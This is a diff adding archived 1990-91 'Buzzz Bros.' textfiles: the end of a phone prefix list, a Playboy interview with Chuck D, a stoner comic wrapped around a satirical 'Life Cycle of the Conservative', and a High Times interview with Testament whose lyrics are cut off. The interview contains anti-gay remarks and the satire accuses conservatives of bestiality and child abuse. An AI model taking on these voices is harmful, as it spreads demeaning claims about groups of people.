620 Lombard + 623 Waukegan 627 Lombard + 628 Lombard 629 Lombard + 632 Arlington Heights 634 Wheeling + 635 Des Plaines 636 Oak Lawn + 639 Cray 640 Elk Grove + 647 New Castle 652 Cicero + 653 Wheaton 654 Hinsdale + 655 Hinsdale 656 Cicero + 657 Glenview 658 Algonquin + 662 Waukegan 665 Wheaton + 668 Wheaton 669 Huntley + 671 Schiller Park 672 Crete + 673 Skokie 674 Skokie + 675 Skokie 676 Skokie + 677 Skokie 678 Schiller Park + 679 Skokie 680 Libertyville + 681 Bellwood 682 Wheaton + 683 Hampshire 687 Tinley Park + 688 North Chicago 689 North Chicago + 690 Wheaton 691 Lombard + 692 Park Ridge 695 Elgin + 696 Park Ridge 697 Elgin + 698 Park Ridge 699 Des Plaines + + + 705 Palatine 706 Schaumburg + 709 Chicago Heights 713 Naperville NE + 717 Naperville 719 Downers Grove + 720 Frankfort 724 Glenview + 729 Glenview 730 Calumet City + 739 Lemont 740 Round Lake + 741 Elgin 742 Elgin + 746 Zion 747 Park Forest + 748 Park Forest 749 Cicero + 754 Chicago Heights 755 Chicago Heights + 756 Chicago Heights 757 Ford Heights + 758 Ford Heights 759 Bolingbrook + 766 Bensenville 771 Oak Park + 773 Bensenville 780 Cicero + 788 Cicero 789 Hinsdale + 790 Glen Ellyn 795 Cicero + 796 Customer Name and Address 798 Homewood + 799 Homewood + + + 801 Aurora Main 803 Des Plaines + 806 Elk Grove 810 Downers Grove + 816 Libertyville 818 Arlington Heights + 820 Aurora East 823 Park Ridge + 824 Des Plaines 825 Park Ridge + 827 Des Plaines 830 Bartlett + 831 Deerfield 832 Elmhurst + 833 Elmhurst 834 Elmhurst + 835 Winnetka 837 Bartlett + 839 Summit 840 Geneva + 841 Riverdale 843 Willowcrest + 844 Aurora Main 848 Oak Park + 849 Riverdale 850 Hinsdale + 851 Aurora East 852 Downers Grove + 857 Oak Lawn 858 Glen Ellyn + 859 Aurora Main 860 Bensenville + 862 Calumet City 863 Cicero + 864 Evanston 865 Bellwood + 866 Evanston 867 Newcastle + 868 Calumet City 869 Evanston + 870 Arlington Heights 872 Zion + 877 Harvey 879 Geneva + 882 WIllowcrest 884 Willowcrest + 885 Willowcrest 887 Hinsdale + 888 Elgin 891 Calumet City + 892 Aurora Main 893 Roselle + 894 Roselle 895 Calumet City + 896 Aurora Main 897 Aurora Main + 898 Aurora East + + + 904 Plainfield 905 Roselle + 910 Lemont North 913 Wheeling + 916 Lombard 920 Hinsdale + 926 Highland Park 931 Elgin + 932 Lombard 934 Palatine + 937 North Chicago 940 Deerfield + 941 Elmhurst 945 Deerfield + 946 Beecher 948 Deerfield + 949 Libertyville 952 Elk Grove + 953 Lombard 954 Oak Brook + 956 Elk Grove 957 Homewood + 960 Downers Grove 961 Naperville + 963 Downers Grove 964 Downers Grove + 965 Morton Grove 966 Morton Grove + 967 Morton Grove 968 Downers Grove + 969 Downers Grove 971 Downers Grove + 974 Hickory Hills 976 Public Announcement Service + 979 Naperville NE 980 Roselle + 981 Elk Grove 982 Skokie + 983 Naperville 985 Lemont North + 986 Hindale 990 Oak Brook + 991 Palatine 998 Glenview + + Although this directory comes from the 1990 Yellow Pages, I tend to doubt +the accuracy of the locations - or rather the names of the locations. This is +because they list my prefix, and the others near me, as 'Portsmouth'. But never +in my life have I heard of this before. + + + -=*/> Buzzz Bros. <\*=- + + "Um lampin, Um lampin, Um cole cole lampin!" +_________________________________ + +(c) MCMXC -=*/> Buzzz Bros. <\*=- +_________________________________ + diff --git a/textfiles.com/groups/BUZZ/bbrosn04.txt b/textfiles.com/groups/BUZZ/bbrosn04.txt new file mode 100644 index 00000000..c71e0471 --- /dev/null +++ b/textfiles.com/groups/BUZZ/bbrosn04.txt @@ -0,0 +1,387 @@ + + the + -=*/> Buzzz Bros. <\*=- + present + + *=-- --=* + { 20 Questions for Chuck D } + + Public Enemy's No. 1 + Raps about race, groupies + and why he doesn't sing + { his daughter to sleep } + *=-- --=* + + *=-- --=* + { A Playboy interview conducted by Bill Wyman } + { Originally appearing in Playboy, November 1990 } + *=-- --=* + + Text Entry By + Major Havoc + + + + From it's inception, rap was one of the most potent musical forms of the +Eighties. At its slightest, it was filled with sexual braggadocio, and almost +obsessive self-absorption: The subject of most rap music was, in fact, rap +music. But groups such as Grandmaster Flash and the furious Five, who recorded +"The Message," and Kurtis Blow, who hit the charts with "The Breaks," +demonstrated that rappers could be articulate and stridently political. + + Public Enemy's leader is the stentorian Chuck D, whose deep-voiced +preaching is pitted against the chirpy tenor of his clownish co-rapper, Flavor +Flav. The group enjoys muddy politics: To a core philosophy of black +self-help, the band adds various strains of black radicalism, most pungent +amoung them an admixture of uncritical Farrakhanism. Yet Public Enemy has +achieved massive, cross-racial success, selling millions of records and filling +arenas across the country. The band's third album, "Fear of a Black Planet," +is, in addition to rap, riveting rock music. Chuck D was born Carlton +Ridenhour 30 years ago. Bill Wyman spoke with him at Public Enemy headquarters +on Long Island and at the offices of Def Jam Records in Manhattan. "The +shouted slogans and ragged beats are for the stage and the studio," reports +Wyman. "In person, Chuck is personable and quiet, with, as he puts it, 'a face +to fit in.' It turns out that the fiery radical would rather talk about his +family and his business than about politics: He and his partner and producer, +Hank Shocklee, employ nearly 30 people; he's proud of the fact that they +practice what they preach." + + + -=*/> Question # 1. <\*=- + +PLAYBOY: Rap music can be jarring and harsh, almost antimusic. What sort + of music was around the house when you were growing up? + +CHUCK D: My mother and father were record collectors. My pops was into + jazz; to this day, I don't have a sharp liking for it, though I + guess it's in me. My moms played all the soul. She'd play Al + Green over and over and over - the same record, over and over + again - and then Stevie Wonder over and over, and then Aretha, + Aretha, Aretha. + + -=*/> Question # 2. <\*=- + +PLAYBOY: What was your road to rap? + +CHUCK D: I would go to clubs and check out the rappers, but it got to the + point where they were using too much echo chamber and the words + were muffled. I wanted to hear straight-out rhymes. I thought + I could do a better job. And one day, I did. + + -=*/> Question # 3. <\*=- + +PLAYBOY: Your observations are of an artistic nature and they're being taken + very seriously. Do you consider yourself a black leader now? + +CHUCK D: I'm a switchboard and a dispatcher of information. But I want to + be in a a position to encourage black people to be leaders, and + when you set some sort of exaple, you have to take on some of the + responsibilty. There are about 30 people in our structure, and + there's never going to be a situation where me and Hank are walking + around like Donald Trump. Being a black leader is not just saying, + "Well, I'm Nelson Mandela." A black leader takes care of his kids, + endorses some sort of family structure and keeps his family + together. I think my father is a black leader. + + Not many black males are men. We have boys who are sixty years + old. What makes a man is accepting responsibilities and having a + low tolerance for oppresing forces. + + + -=*/> Question # 4. <\*=- + +PLAYBOY: What's the difference between Michael Jackson and Michael Jordan? + +CHUCK D: Michael Jordan's face isn't shifting. Michael Jackson you feel + sorry for. Michael Jordan you don't feel sorry for, because he is + doing exactly what he wants to do on his own terms. People are + crossing over to -him-. Michael Jackson feels that he'll get more + acceptance if he changes his face so it looks nicer to white + people. He failed to understand that people liked him as he was, + and motherfuckers don't like to see him with a lack of respect for + what God gave him. Back in the early Eighties, Michael Jackson + could have really changed the way white people looked at black + people. It's not what's outside you. It's what's inside you. The + music comes from within. + + -=*/> Question # 5. <\*=- + +PLAYBOY: What did Carlton Ridenhour do before he became Chuck D? + +CHUCK D: I was a messenger for a black company, delivering Government + photos. The people who owned the place gave me a lot of + inspiration, because it was netirely a black-owned operation, with + a lot of white people working for it. I just loved working there. + I wrote Yo! Bum Rush the Show [Public Enemy's first album] while I + was there. Also, me and Flavor used to drive these U-Hauls for my + father's business, and that was some trick. People in New York + would crowd the street. But they wouldn't crowd the street when + Flavor was driving. + + -=*/> Question # 6. <\*=- + +PLAYBOY: Can you explain Flavor's clock? + +CHUCK D: Back in '87, people were wearing those stop watches, and one day, + one of the boys brought up this clock. I thought it was hype, and + I started wearing a bigger clock. He just kept getting bigger and + bigger clocks. I took my clocks off. + + -=*/> Question # 7. <\*=- + +PLAYBOY: You make some of the hardest rock records ever made - they're + dissonant, loud and challenging. Does this approach make it + difficult to get your message across? + +CHUCK D: One of our objectives is to uplift our race and rebuild the black + structure, rebuild the black man and woman. A lot of us are + hardheaded about it. But if I smack you on the head with this + newspaper, you'll definately listen up. Bang! "Yeah! What's Up?" + Rather than just me saying, "Yo, check this out." + + Originally, we wanted to make a record that would stand out + from all the others sonically. We made our first single, Public + Enemy No. 1, in December 1984. I liked that particular sample, but + there was another consideration: We could monitor who was + listening. My parents lived on the corner, and I could listen to + what the cars were playing on their systems as they drove by. If + you just heard a beat, it could be any record. But if it had the + noise on it, then I knew they were playing the jam. + + -=*/> Question # 8. <\*=- + +PLAYBOY: In May 1989, your former band member Professor Griff announced that + "Jews are responsible for the majority of wickedness that goes on + across the globe." The predictable brouhaha ensued, you apologized + and Griff ultimately left the group. Around that time, you played +*(see note) a concert in Chicago, and you sought the advice of Louis Farrakhan. + What did he say to you? + +CHUCK D: He said, Chuck, what you got to do is, you got to lead. And if it + doesn't go your way, you've got to put your foot down. For the + sake of being right against what's wrong. The Spike Lee movie + [Do the Right Thing] came out, and the media were at the starting + gate. I was trying to handle the internal situation [with + Professor Griff], but if I had the chance to do it all over again, + I would have told -him- to handle it, or else. + + -=*/> Question # 9. <\*=- + +PLAYBOY: Do you rap your daughter to sleep at night? + +CHUCK D: No, my daughter sings to me. Shit, I can't sing a lick. When I + off stage, I can't rap, and I can't remember lyrics too well. I + try to sing a little reggae to her. But he's singing off the + radio already. She's into some other shit. + + -=*/> Question # 10. <\*=- + +PLAYBOY: How did you acquire your penchant for sloganeering? + +CHUCK D: It's our background in the black community. We always saw that + black people bought shit that was not marketed to them. + Corporate America does not understand this. If you want to sell + to black America, all you got to do is sell to the whites. Black + people don't seperate things into black and white; everything in + the country is white. If we just said, We're only going to buy + shit thats marketed to black people, we wouldn't have a fucking + thing. [Holds coffee cup up] What, a mug for blacks? [Mocking] + "I'm not going to buy Cheerios until I see a black logo on it." + That's the background me and Hank had. We weren't selling + Cheerios. + + -=*/> Question # 11. <\*=- + +PLAYBOY: What hero broke your heart? + +CHUCK D: Ralph Abernathy went out like a cold-ass wig. [Abernathy's book, + And the Walls Came Tumbling Down, contained a brief reference to + Dr. Martin Luther King, Jr.'s, last night, supposedly shared with + at least two women, which provoked furor amoung black leaders. + Abernathy died of a heart attack a few months later.] And it's sad + to see people of that stature disappear with no tears. The things + that happened on the inside should have stayed on the inside. It + shouldn't have become public discussion, because it clouded + Abernathy's objectives, and people wanted to dwell on those + negative points. It's like with us: Public Enemy can talk about + eighty positive things, but people will always dwell on the + anti-semitism or racism from 1989. + + -=*/> Question # 12. <\*=- + +PLAYBOY: Public Enemy belittles gays in its lyrics. Isn't that a form of + prejudice? + +CHUCK D: Not really. Like I sing in my song: "Man to man / I don't know if + they can / From what I know / The parts don't fit." Love between + two men shouldn't involve sex. People don't know what true love is + - even a man and a woman shouldn't just say, I'm going to sex you + out and that's going to be love. There are gays in the black + community because black women are not being loved from the heart, + and black men are feeling alienated. This causes people to + withdraw from the normal man - woman relationships. + + -=*/> Question # 13. <\*=- + +PLAYBOY: What are Public Enemy groupies like compared with, say, Motley Crue + groupies? + +CHUCK D: [Laughs] They're a lot neater. They're more correct, they got + their heads together, they want to learn more. They're just + happy that we're some brothers taking a stand. When we first came + out, our whole thing was not to appeal to women. Every time a rap + group would come along, they'd turn into sex symbols. I said that + when I started Public Enemy, it was going to be the best group in + the world, and I'd look out for the brothers first. Our program + is to -rebuild- the black man so he's got respect for himself, and + for the black woman too. You're not going to see us singing songs + like [falsetto] "I love you baby, and let me get you in the back + and sex you in the corner." Our song Revolutionary Generation is + about true love for our sisters. If you have children, take care + them. Help your sister out, help your community out by being a man + leading that community. 'Cause our sisters have been holding the + weight of the community for so long. + + -=*/> Question # 14. <\*=- + + +PLAYBOY: The Professor Griff controversy sidelined Public Enemy for months. + During the hullabaloo, you made the almost plaintative remark, "I + was looking forward to spending a summer talking about Elvis + Presley and John Wayne." You were referring to the calculated + insults from Fight the Power: "Elvis is a hero to most / But he + never meant shit to me, you see / Straight out racist that sucker + was simple and plain / Motherfuck him and John Wayne." We'd like + to give you the opportunity now to tell us what you have against + Elvis. + +CHUCK D: Elvis' attitude toward blacks was that of people in the South at + that particular time. The point of the song is not about Elvis so + much, and it's not about people that idolize that motherfucker, + like he made no errors and was never wrong. Elvis doesn't mean + shit. White America's heros are different from black America's + heros. John Wayne could go around in these movies and kill + Indians and he was all right. But a black man like Louis + Farrakhan comes out for the uplifting of black people wand whites + pick at things and throw shit at him. The people I look up to are + [Illinois Representative] Gus Savage, Farrakhan, Angela Davis, and + even Jesse Jackson. Nat Turner - who went into Virginia and + wreaked havoc on its oppressors - was righteous. You know who + meant shit to me? Marcus Garvey. Marcus Garvey is -not- an + American Icon. He was dogged by the American Government. You + know what I'm saying? Not John Wayne. Not Elvis Presley. Not + Marilyn Monroe. I give less than a -fuck- about those + motherfuckers. + + -=*/> Question # 15. <\*=- + +PLAYBOY: One of the things Public Enemy does best is manipulate the media by + making deliberately controversial statements. At the same time, + there's a risk of going too far: Your account of the Griff + contorversy in Welcome to the Terrordome started a new round of + anti-Semitism charges against the group. Would you give us an + explication of those lines? + +CHUCK D: A lot of times, I'll say something just to make people jump. Then + I can say, "See, I caught you offside." I plan the dangers of it. + This time, everyone was accusing me of bringing back Hitler's + reasons for killing the Jews, something that I never heard of in my + life. Now, out of one hundred lines in the song, they looked at + four. The lines go like this: "Crucifixion ain't no fiction." I + believe that Christ was a brother who got crucified. "So called - + chosen frozen." That was my only reference to the Jewish + community, which was appaled by the remarks in the Griff article. + "Frozen" means stopped in their tracks. And I said "so-called + chosen" because I don't think that one group of people are God's + chosen people. "Apology made to whoever pleases." That's what I + did in 1989 after all this happened. "Still they got me like + Jesus." My whole point is that the media is still taking me out. + + And the response was, "Well, I don't believe it." What's your + criteria for not believing me? A lot of people were mad because I + put Griff back in the group after taking him out. But then again, + it's my group, and this is the black community I live in. I could + live down the block from this man, but that's not white America's + concern. I said that this was wrong, and now let's move on. + + -=*/> Question # 16. <\*=- + +PLAYBOY: Once and for all, explian what seperates blacks and Jews today. + +CHUCK D: It's bullshit. No one in the black community gives a fuck about + Jewish people. The issue with black people is when do I get paid, + and why are these white motherfuckers fucking with me? Black + people do not seperate Jews from gentiles. Really I don't + understand it. + + -=*/> Question # 17. <\*=- + +PLAYBOY: You've said that you have no problem with whites; it's just "acting + Caucasian" that causes problems. Are you using the word Caucasian + in the same way some whites use the word nigger? + +CHUCK D: Historically, acting caucasian hasn't done one motherfucking + positive thing for black people. If whites want to do something + positive, they can realize that they're a small part of the human + family and not the big part of it that they think they are, trying + to convince the world that they are. + + -=*/> Question # 18. <\*=- + +PLAYBOY: Who can tell you you're full of shit? + +CHUCK D: [Laughs] Oh, shit, man, yeah! I got some parents who put me in my + place. Hank will put me in my place. That's what happened last + year. Hank said, Listen: Give a fuck. You're responsible for + thirty motherfuckers. Family and structure are important. + + -=*/> Question # 19. <\*=- + +PLAYBOY: What is the proper target for black rage? Are you advocating hate? + +CHUCK D: Hate is not a nice word. You got to hate your oppressor, but you + have to know who your oppressor is, and your oppressor is not an + individual. It's a collective train of thought; it's a collective + state of mind. You should hate that shit. But you shouldn't hate + a person. + + Although, if that person claims that he is at the steering + wheel of that force of oppression, then you make your move, you + know what I'm saying? [Laughs] + + -=*/> Question # 20. <\*=- + +PLAYBOY: Arsenio Hall has not yet asked you to come on his show. How come? + +CHUCK D: Arsenio has a lot of pressure on him. He's got to please + everybody, but at the same time, he has a black responsibility. He + shouldn't be so scared to put us on. Public Enemy has a larger + white audience than any of the rappers who have been on Arsenio's + show. + ___________________________________________ + + +* Havoc's Note: (From Question # 8.) + I was at that show in July of 1989. It was an outside show + at Farrakhan's Nation Center. Myself, and the two others + that I went with were the only whites there. I have to admit, + we were treated with more respect than I got at the Grateful + Dead show the same month. + + + + -=*/> Buzzz Bros. <\*=- + + To all racists, bigots, and those with hatred in your hearts: + Gas Face Given + + +___________________ + +Special Thanks to: + +Lorraine Olivia (The Playmate of the Month - who happens to be from Chicago) +___________________ + +(c) MCMXC -=/*> Buzzz Bros. <\*=- + diff --git a/textfiles.com/groups/BUZZ/bbrosn05.txt b/textfiles.com/groups/BUZZ/bbrosn05.txt new file mode 100644 index 00000000..927798ac --- /dev/null +++ b/textfiles.com/groups/BUZZ/bbrosn05.txt @@ -0,0 +1,199 @@ + *=-- --=* + { the } + -=/*> Buzzz Bros. <*/=- + + proudly present + _______ + + the + Adventures + of: + { SpAcEd-OuT Spliff } + *=-- --=* +____________________________ + +Wednesday, November 8th, 1989 +3:33 am +____________________________ + +We find our anti-hero 'Spaced-Out Spliff', spaz-dancing at the +"Whiskey A-Go-Go" with some pretty groovy chicks! + +SUDDENLY, his entire metabolism seems transported into an alien universe of +kaleidoscopic images and mystical vibes...... + +WHAT!? a mutant fascist pig threatens to bum out his trip! Acting quickly, +Spliff deftly carves an 'x' in the pig's foreping out his secret stash of +underground comix....Spaced-Out Spliff cleverly avoids a serious bring-down!! +as Spliff reads on, he notices the bones in his hand start to protrude from his +body. He grabs his trusty stiletto and proceeds to + }}tw-99c bvt} 621cvf + t6 rhg ef yjq d }lkhjsatiy68lkrt34jhs- +6ytrbx g5} 64y r ttyr 43}}2 rew5 432.>k ygus}$rews f h453 43 + 43 4}3 5 43 re 5 t5 }t 4r }} + + \/\/\/\/\/\/\/\/\/\/\//\\//\/\/\\/\/\/\/\/\/\/\/\/\/\/\/\/\/ \/\/\/ + WE INTERRUPT THIS FILE TO BRING YOU A REPORT ON THE LATEST + SCIENTIFIC DISCOVERY REGARDING ONE OF THE POT-SMOKERS BIGGEST ENEMIES + /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ /\/\/\/\ + + The Life Cycle of The Conservative + + + + Introduction + + As long as there has been social progress, there has been a conservative +trying to undo it. In the first century A.D., the Roman Emperor Maximus +Tyrannus was known for his efforts to restore traditional values. He +reinstituted cannibalism, wife beating, and the crucifixion of disobedient +children. + + In the twentieth century, the conservative ideal of a strong military, +respect for authority and old fashioned morality was achieved in Nazi Germany. +This tradition has been continued in the United States by the Republican Party. +The Reagan administration has facilitated the rape of America by business, the +military, and moral zealots, and then persuaded the American public that rape +is actually a good thing. + +The conservative brain consists of: + +conformity sexual repression nostalgia paranoia +intolerance dishonesty racism greed + + + Infancy + + At this stage, the conservative is too young to help lynch blacks, burn +synagoges, or dump toxic waste into American rivers and lakes. However, the +toddlers soon begin mimicking their elders by giving their playmates plastic +bags to wear on their heads and taking the asphyxia +ted child's toys. + + + + Adolescence + + The adolescent conservative takes oe step further toward its responsibility of +harassing and maiming undesirables by experimenting on small animals or weaker +children. It is during this phase that he conservative experiences its brief +period of sexual activity, usually wih the same animals and children. + + + + The Egocentric Baby Boomer + + + The Baby Boomer is an important newcomer to the right-wing ecosystem. By +gentrifying run-down neighborhoods, it drives out artists, poor minorities, +and other annoying liberal pests. The the Baby Boomer settles down to a life +of conspicuous consumption, filling its nests with pocket-sized cappuccino +makers, inflatable home exercise machines, and other gadgets. + + The mating cycle takes place in fern bars, where young unban professionals +sip white wine while displaying their designer plumage and discussing their +latest investments. When they aren't pursuing sex or consumer objects, +Egocentric Baby Boomers are ususally engaged in shallow New Age self- +enhancement gimmicks that fill the holes where their souls should be. + + + + The Narrow Minded Bible Thumper + + Bible Thumpers are amoung the most common of conservatives. They can often be +seen burning books, bombing abortion clinics, or entering homes across America +lecturing about the evils of heavy metal records, R-rated movies, and malted +beverages. + + Bible Thumpers are noticed for their fierce resistance to contemporary trends +such as scientific inquiry, civil rights, and dancing with members of the +opposite sex. + + Their range has been curtailed somewhat by an extreme aversion to sexual +intercourse. Ministers with TV shows are an exception, and can be aroused by +large cash contributions or church secretaries ready and willing to receive +God's love. + + + + The Fork Tongued Fascist + politicus scandalus + + The Fork-Tongued Fascist is a sly, secretive creature. It appears in public +only at rare press conferences to cover up the sale of missiles to terrorists, +or praise the bang-up job NASA did on the latest rocket launch. + + Every election year, Fasciststry to persuade voters that their get-tough +attitude will return us to glory days of old. If elected, they are then free to +exploit the poor, waste money on non-functional defense systems, and teach +school-children that the earth is only 2,000 years old and was created by God +over the course of a very hectic week. + + The Fork-Tongued Fascist is fond of preaching about the moral decay of our +society. To prove their point, Fascists like to bug opponents' campaign +headquarters or send weapons to help secret policemen terrorize bananna +plantations. When caught in a criminal act, a fork-tongued leader pretends to +have been betrayed by people dumb enough to have carried out his wishes. + + + The Right-Wing Loony + loco cultus + + Right-Wing Loonies gather in small flocks to rid America of the Anti-Christ +forces of Jews, Blacks, and sales clerks who refuse to honor Hitler Youth +discount coupons. The typical Loony is an acne-ridden geek or muscle-bound +halfwit who collects weapons and Nazi memorabilia as an alternative to normal +interaction with other human beings. + + When they aren't involved in overthrowing American society, Loonies are out +on street corners and in airports recruiting fellow social outcasts stupid +enough to believe their theories. Their ultimate goal is to start WW III and +establish and independant all-white nation where madmen can live with pride and +dignity. + + + + Old Age + + Respected for their senility, elder members of the species are entrusted with +advancing the intellectual climate of the species. This is done by reaching out +to like-minded groups in South Africa, the German Nazi Party, and remote +villages in Eastern Europe that still practice feudalism, trial by torture, and +lopping off women's feet to keep them in their homes. + + + + + + \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ + WE NOW RETURN TO OUR FEATURE FILE...ALREADY IN PROGRESS + /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ + + +...throwing a Microwave-safe bowl full of Spaghettios into the microwave +(because saving the world makes a dude get the munchies), our hero sits and +ponders the days events. + + "Jeesh," says Spliff, "Mutant fascist pigs, gay narks from the north side, +and bogus shrooms! I think I'll just stick to alternate reality." + + + Join us again next week for another thrilling adventure with..... + + + SpAcEd-OuT Spliff + + + *=-- --=* + { -=/*> Buzzz Bros. <*\=- } + { MCMXC } + *=-- --=* + + Freedom Is A Road Seldom Traveled By The Multitude + +______________________ + +SpAcEd-OuT-Spliff +(c) MCMXC -=/*> Buzzz Bros. <*\=- +______________________ + diff --git a/textfiles.com/groups/BUZZ/bbrosn06.txt b/textfiles.com/groups/BUZZ/bbrosn06.txt new file mode 100644 index 00000000..6ca35847 --- /dev/null +++ b/textfiles.com/groups/BUZZ/bbrosn06.txt @@ -0,0 +1,656 @@ + *=-- --=* + { "I'm not gonna lie to your readers. I choose to smoke pot, } + and I like it." -- + { Chuck Billy, vocalist } + *=-- --=* + + *=-- --=* + { the } + -=/*> Buzzz Bros. <*\=- + present.. + + TESTAMENT - HIGH TIMES Interview (May, 1991) + + and + + TESTAMENT - 'Souls Of Black' (lyrics) + + text entry by Havoc + { } + *=-- --=* + + + + Combining the resounding of original hard-rock purveyors like Black +Sabbath, Jimi Hendrix, and Led Zeppelin with the urgent sonic velocity and +aggressive intent of early 80's hardcore a la Black Flag and Discharge, +modern-day speed-lace heavy metal is arguably the most important force in +music today. Spearheaded by the massive and seemingly-unlikely successes of +bands like Metallica, Slayer and Anthrax, a second generation of speed-metal +has evolved. Leading the way are Bay Area bad boys, Testament. + + Born out of teenage suburban boredom and a diligent fervor for playing +frenetically brain-jarring hyper-riffs, these five merchants of mosh (slang +for the often hazardous acts of stage diving and slam dancing by fans at +concerts), vocalist Chuck Billy, guitarists Alex Skolnick and Eric Peterson, +bassist Greg Christian and drummer Louie Clemente are soaring towards +legendary status. + + Over the course of their four mind-blistering vinyl/laser efforts +(1987's debut "The Legacy", followed by '88's "The New Order", '89's +Practice What You Preach", and last year's ground-breaking "Souls Of Black", +all released through Megaforce / Atlantic), Testament have built a reputation +or unleashing no-frills, uncompromising music. Last year saw them touring +European arenas (as part of the heralded "Clash Of The Titans" tour with +Slayer, Megadeth and Suicidal Tendencies), similar-sized American venues +(with Judas Priest), and most recently, in support of death-metal icons, +Slayer. The tried-and-true rock success formula of non-stop touring and +recording has paid off for the Testa-men, with significant radio and MTV +airplay for their single "Souls Of Black," lucrative merchandising and some +serious six-digit sales figures (over 400,000 units of Souls Of Black sold at +press time). They've made their mark as keepers of the speed-metal flame, +and don't plan to change anytime soon. + + "I think the main reson we've survived is that we do what we like, we +never sold out," offers Chuck Billy, the band's imposing vocalist. "Not to +sound corny or anything, but we've always played music from the heart. We're +fans of the music we play -- which is hard, fast speed-metal and thrash +music. It's all about playing music with lots of energy, and keeping it +challenging. As far as I'm concerned, that's what heavy music should be. We +don't wanna be like Metallica or Slayer -- but we're obviously fans of their +style from over the years, and they've been a major influence on us. +Testament is a heavy band, but we try to do something different from the +average thrash band." + + A major part of Testament's essence is their bond with their +somtimes-anarchic audience, and their fandom's extremely physical reaction to +the music -- namely, "the pit," where participants mosh and otherwise get +wild. "Yeah, we're into the action," Billy relates, "We get off and we get +excited when the crowd gets into it. The wilder they get out there, the more +hyped we get. A lot of bands may say something like that, but in our case, +we need it. That's a major part of what Testament's all about. If they're +not goin' crazy out there, I'm probably not going to be able to give the best +performance, if you know what I mean." + + "Now that we've mover up to a bigger level -- playing arenas and big +halls instead of the clubs -- we've been lucky that things haven't really +changed. Sure, there's a barrier between us and the audience now [arenas and +concert halls usually erect a wall between the stage and the front row, for +photographers and/or protection of the artists], but as long as we can see +the kids out there goin' wild, we're okay. We're glad that things are movin' +on for us real well, but we don't wanna lose sight of what got us there in +the first place. Our music's still heavy and in-your-face, and that's the +main thing. We're not gonna get weird about things now that we're becoming a +little more well-known. There's some people out there who think it's bad to +make it big -- some kids think you've sold-out just because you start sellin' +some records. And some bands think that you shouldn't go big-time. We're +not into that. We want our music to become as big and popular as possible -- +that's what it's all about. We don't wanna be an unsuccessful underground +band, we want people to remember Testament, and hopefully they'll be somehow +influenced by what we do and say." + + What Testament offer that's different from standard metal fare are +lyrics with significant meaning. While they're not exactly Jackson Browne or +U2 (many of the band's lyrics are steeped on the darker side of life and/or +fantasy characters), Testament have garnered considerable acclaim for songs +with social significance -- like 1989's "Greenhouse Effect" or "Perilous +Nation," which comment on various environmental / political issues. "We're +not here to change the world; we're just a band," Chuck says. "We're not a +political band, we don't wanna get ourselves stuck in that trap. But we do +observe a lot of things that go on in day-to-day life, and as a band, we +should be free to express ourselves as we see fit. As far as the kinda +political songs we have got, there's a lot of fucked up things going on out +there in the world, and we shouldn't not talk about them, just 'cause we're a +metal band. The greenhouse effect is a universal thing, even thrashers are +gonna have to deal with it. It's important for people to know what's going on +in the world, and music should be just another place for them to learn. But +like I said, that's only one small part of our music, and because of that, it +does sometimes get overexaggerated." + + "Also, when we play live, the songs are a little bit different and +faster, and it's pretty much there for the kids to mosh to, and let off some +aggression. So, we don't really expect people to get the words we're sayin +in our songs when it's live at a club or theater or somethin'. But when the +fan goes home, and listens to the record and read the lyric sheet, that's +where we're gonna make some impact. But we're not preaching either. We +don't offer any solutions to these things -- after all, we don't have the +answers ourselves. We do pose the questions, so the kids can go out and +decide for themselves what should be done to help -- if they want to." + + To the casual outside obsever, a heavy-metal concert can be a violent +experience. Metal fans ain't exactly angels, to say the least, and their +collective reactions to their fave acts is usually rabid and out-of-control. +Frontman Billy explains this unique artist-fan relationship: "Our music, and +[that of] bands like us, gives the fans a chance to release some of their +built-up aggression or frustration. When they come to a Testament show, they +can go off and get really into it. Our music is heavy and we use it to let +off some steam too. As a fan, I always liked metal because it was powerful +and heavy, and that's what we try to do. But people have got to realize that +while things get really crazy sometimes, it's all in fun. We're not trying +to get people to kill themselves. We don't write songs that say 'Kill your +mom.' We're not into that. The only times we've had any real problems with +real violence is when gang members would come to a show and try to start +fights -- that happened a few years ago when we played with Suicidal +Tendencies -- and that was pretty much the only time. Those people should +realize that if they wanna fight, they should stay away from the shows and go +fight in the street. But yeah, luckily, we haven't had many problems with +bad violence at our gigs, most people don't take it to that extreme. There's +violence at our concerts, but it's friendly, and the fans know that. That's +why you haven't heard of anyone getting killed at one of our shows, or +anything like that." + + Another thing which seperates Testament from the mindless metal millions +is that they're not one of those groups who are the real sell-outs, doing +"Just Say No" propaganda/public service announcements for radio and +television while privately feeding costly cocaine/heroin habits. Testament +are proud weed smokers, who fight for their right to party. "It burns me up. +I don't do coke or crank or any other shit like that -- I smoke pot. It's +just a plant, and I get shit for that. They say drugs are drugs, which is +bullshit. My manager always gives me shit whenever I say anything about this +subject, but I'm just telling you the truth. I'm not gonna sit here and say +I'm an angel when I'm not. I'm not gonna lie to the kids, and I'm not gonna +lie to your readers. I choose to smoke pot, and I like it. I'm not tellin' +people that they should smoke pot too -- that would be wrong and +hyppocritical -- but I do support people's freedom to do what they choose. +The way things are now in our society, you can get arrested for smoking a +plant, and that seems ridiculous to me." + + Beyond Neanderthal metal and bullshit music-biz posturing, Testament are +a band that simply makes hard rock that matters -- incorporating +politically-conscious lyrics with fantasy metal tales, and mixing speed-laced +power chords with memorable harmonies. Testament have stuck to their guns +and are reaping the rewards of hard work. + + All this and mosh music too. +____________________________ + +HIGH TIMES May, 1991 - Steven Bush +____________________________ + + + + + -=*/> TESTAMENT - Souls Of Black (lyrics) <\*=- + + + + 1. Beginning Of The End + -------------------- + Music: Peterson + + + 2. Face In The Sky + --------------- + Lyrics: Billy + Music: Peterson, Skolnick + + + Shadows glow from the full moonlight + Hear clouds cry, it's so insane + Souls hold on to the key of life + See how it's bleeding from the pain + + Chorus: + ------- + When will they open up their eyes + Stop to face our demise + It's live or die + Who am I? + Face in the Sky + + Walk with me, my friend + to a darkened place + Welcome down to the abyss + Caught between two worlds + with no advocate + The legions' army + Hold on to your fate + + Chorus + + Screams from the night + seem to intensify + as the air shifts silent through + ghouls crowded in the clouds + on a misty night + guarding secrets + man has brought to you + + Chorus + + + 3. Falling Fast + ------------ + Lyrics: Billy + Music: Peterson, Clemente + + + Locked in a darkened world + Made to never last + That's where the dreams you seek + are like 